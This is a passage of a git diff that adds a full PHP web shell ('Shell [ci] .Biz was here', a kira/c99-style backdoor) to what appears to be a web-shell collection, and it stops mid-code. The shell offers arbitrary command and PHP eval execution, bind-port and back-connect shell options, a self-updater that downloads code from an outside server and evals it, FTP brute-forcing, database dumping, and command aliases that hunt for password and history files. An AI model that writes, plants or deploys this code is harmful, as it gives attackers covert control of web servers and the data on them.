tFFqe_6du#Vzo!?0uZip`gTE^-{(&*I0siJSslJ7q=79ftApV;9{{T*~qG|vD literal 0 HcmV?d00001 diff --git a/php/PHPshell/【Shell [ci] .Biz was here】/Shell [ci] .Biz was here.php b/php/PHPshell/【Shell [ci] .Biz was here】/Shell [ci] .Biz was here.php new file mode 100644 index 0000000..e6247f4 --- /dev/null +++ b/php/PHPshell/【Shell [ci] .Biz was here】/Shell [ci] .Biz was here.php @@ -0,0 +1,3149 @@ +<?php +//Starting calls +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +error_reporting(5); +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} + +$shver = "Shell [ci] .Biz was here"; //Current version +//CONFIGURATION AND SETTINGS +if (!empty($unset_surl)) {setcookie("k1r4_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("k1r4_surl",$surl);} +else {$surl = $_REQUEST["k1r4_surl"]; //Set this cookie for manual SURL +} + +$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. + +if ($surl_autofill_include and !$_REQUEST["k1r4_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; //Self url +} +$surl = htmlspecialchars($surl); + +$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. + + +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Restricted area"; //http-auth message. +$accessdeniedmess = " Shell [ci] . Biz ".$shver.": access denied"; + +$gzipencode = TRUE; //Encode with gzip? + +$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE) + +$k1r4_updateurl = "http://emp3ror.com/kira//update/"; //Update server +$k1r4_sourcesurl = "http://emp3ror.com/kira/"; //Sources-server + +$filestealth = TRUE; //if TRUE, don't change modify- and access-time + +$donated_html = "<center><b>Owned by Shell [ci] .Biz</b></center>"; +/* If you publish free shell and you wish +add link to your site or any other information, +put here your html. */ +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. + +$curdir = "./"; //start folder +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) +$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) + +$log_email = "yarakam@gmail.com"; //Default e-mail for sending logs + +$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending +$sort_save = TRUE; //If TRUE then save sorting-position using cookies. + +// Registered file-types. +// array( +// "{action1}"=>array("ext1","ext2","ext3",...), +// "{action2}"=>array("ext4","ext5","ext6",...), +// ... +// ) +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +// Registered executable file-types. +// array( +// string "command{i}"=>array("ext1","ext2","ext3",...), +// ... +// ) +// {command}: %f% = filename +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); + +/* Highlighted files. + array( + i=>array({regexp},{type},{opentag},{closetag},{break}) + ... + ) + string {regexp} - regular exp. + int {type}: +0 - files and folders (as default), +1 - files only, 2 - folders only + string {opentag} - open html-tag, e.g. "<b>" (default) + string {closetag} - close html-tag, e.g. "</b>" (default) + bool {break} - if TRUE and found match then break +*/ +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example + array("config.php",1) // example +); + +$safemode_diskettes = array("a"); // This variable for disabling diskett-errors. + // array (i=>{letter} ...); string {letter} - letter of a drive +//$safemode_diskettes = range("a","z"); +$hexdump_lines = 8;// lines in hex preview file +$hexdump_rows = 24;// 16, 24 or 32 bytes in one line + +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + +$bindport_pass = "k1r4"; // default password for binding +$bindport_port = "31373"; // default port for binding +$bc_port = "31373"; // default port for back-connect +$datapipe_localport = "8081"; // default port for datapipe + +// Command-aliases +if (!$win) +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "ls -la"), + array("find all suid files", "find / -type f -perm -04000 -ls"), + array("find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("find all sgid files", "find / -type f -perm -02000 -ls"), + array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("find config.inc.php files", "find / -type f -name config.inc.php"), + array("find config* files", "find / -type f -name \"config*\""), + array("find config* files in current dir", "find . -type f -name \"config*\""), + array("find all writable folders and files", "find / -perm -2 -ls"), + array("find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("find all service.pwd files", "find / -type f -name service.pwd"), + array("find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("find all .htpasswd files", "find / -type f -name .htpasswd"), + array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("find all .bash_history files", "find / -type f -name .bash_history"), + array("find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("list file attributes on a Linux second extended file system", "lsattr -va"), + array("show opened ports", "netstat -an | grep -i listen") + ); +} +else +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "dir"), + array("show opened ports", "netstat -an") + ); +} + +$sess_cookie = "k1r4vars"; // Cookie-variable name + +$usefsbuff = TRUE; //Buffer-function +$copy_unset = FALSE; //Remove copied files from buffer after pasting + +//Quick launch +$quicklaunch = array( + array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), + array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), + array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), + array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), + array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), + array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), + array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), + array("<b>Encoder</b>",$surl."act=encoder&d=%d"), + array("<b>Tools</b>",$surl."act=tools&d=%d"), + array("<b>Proc.</b>",$surl."act=processes&d=%d"), + array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"), + array("<b>Sec.</b>",$surl."act=security&d=%d"), + array("<b>SQL</b>",$surl."act=sql&d=%d"), + array("<b>PHP-code</b>",$surl."act=eval&d=%d"), + array("<b>Update</b>",$surl."act=update&d=%d"), + array("<b>Feedback</b>",$surl."act=feedback&d=%d"), + array("<b>Self remove</b>",$surl."act=selfremove"), + array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()") +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["k1r4cook"]); + +//END CONFIGURATION + + +// \/Next code isn't for editing\/ +@set_time_limit(0); +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://google.com/releases/ckira\">kira</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} +if (!empty($login)) +{ + if (empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) + { + if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"kira ".$shver.": ".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($act != "img") +{ +$lastdir = realpath("."); +chdir($curdir); +if ($selfwrite or $updatenow) {@ob_clean(); k1r4_getupdate($selfwrite,1); exit;} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) +{ + $disablefunc = str_replace(" ","",$disablefunc); + $disablefunc = explode(",",$disablefunc); +} + +if (!function_exists("k1r4_buff_prepare")) +{ +function k1r4_buff_prepare() +{ + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +k1r4_buff_prepare(); +if (!function_exists("k1r4_sess_put")) +{ +function k1r4_sess_put($data) +{ + global $sess_cookie; + global $sess_data; + k1r4_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +} +foreach (array("sort","sql_sort") as $v) +{ + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} +} +if ($sort_save) +{ + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if (!is_numeric($size)) {return FALSE;} + else + { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) {return copy($d,$t);} + else {return FALSE;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) + { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) + { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} +} +} +if (!function_exists("myshellexec")) +{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + + return $type.join("",$owner).join("",$group).join("",$world); +} +} +if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} +if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} +if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("parsesort")) +{ +function parsesort($sort) +{ + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ + if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} + else {return "<font color=green>".view_perms(fileperms($o))."</font>";} +} +} +if (!function_exists("k1r4getsource")) +{ +function k1r4getsource($fn) +{ + global $k1r4_sourcesurl; + $array = array( + "k1r4_bindport.pl" => "k1r4_bindport_pl.txt", + "k1r4_bindport.c" => "k1r4_bindport_c.txt", + "k1r4_backconn.pl" => "k1r4_backconn_pl.txt", + "k1r4_backconn.c" => "k1r4_backconn_c.txt", + "k1r4_datapipe.pl" => "k1r4_datapipe_pl.txt", + "k1r4_datapipe.c" => "k1r4_datapipe_c.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($k1r4_sourcesurl.$name);} + else {return FALSE;} +} +} +if (!function_exists("k1r4_getupdate")) +{ +function k1r4_getupdate($update = TRUE) +{ + $url = $GLOBALS["k1r4_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; + $data = @file_get_contents($url); + if (!$data) {return "Can't connect to update-server!";} + else + { + $data = ltrim($data); + $string = substr($data,3,ord($data{2})); + if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} + if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} + if ($data{0} == "\x99" and $data{1} == "\x03") + { + $string = explode("\x01",$string); + if ($update) + { + $confvars = array(); + $sourceurl = $string[0]; + $source = file_get_contents($sourceurl); + if (!$source) {return "Can't fetch update!";} + else + { + $fp = fopen(__FILE__,"w"); + if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download kira.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";} + else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";} + } + } + else {return "New version are available: ".$string[1];} + } + elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} + else {return "Error in protocol: segmentation failed! (".$data.") ";} + } +} +} +if (!function_exists("mysql_dump")) +{ +function mysql_dump($set) +{ + global $shver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) + { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = "# Dumped by kira.SQL v. ".$shver." +# Home page: http://google.com +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." +# Date: ".date("d.m.Y H:i:s")." +# DB: \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) + { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) + { + echo "<table border=0><tr><td><form name=\"k1r4_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) + { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo " <a href=\"#\" onclick=\"document.k1r4_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ + $query = trim($query); + $arr = explode (" ",$query); + /*array array() + { + "METHOD"=>array(output_type), + "METHOD1"... + ... + } + if output_type == 0, no output, + if output_type == 1, no output if no error + if output_type == 2, output without control-buttons + if output_type == 3, output with control-buttons + */ + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) + { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} +} +} +if (!function_exists("k1r4fsearch")) +{ +function k1r4fsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) + { + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {k1r4fsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +} +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +@ob_start(); +@ob_implicit_flush(0); +function onphpshutdown() +{ + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) + { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function k1r4exit() +{ + onphpshutdown(); + exit; +} +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", FALSE); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} +} +$tmpdir = realpath($tmpdir); +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) 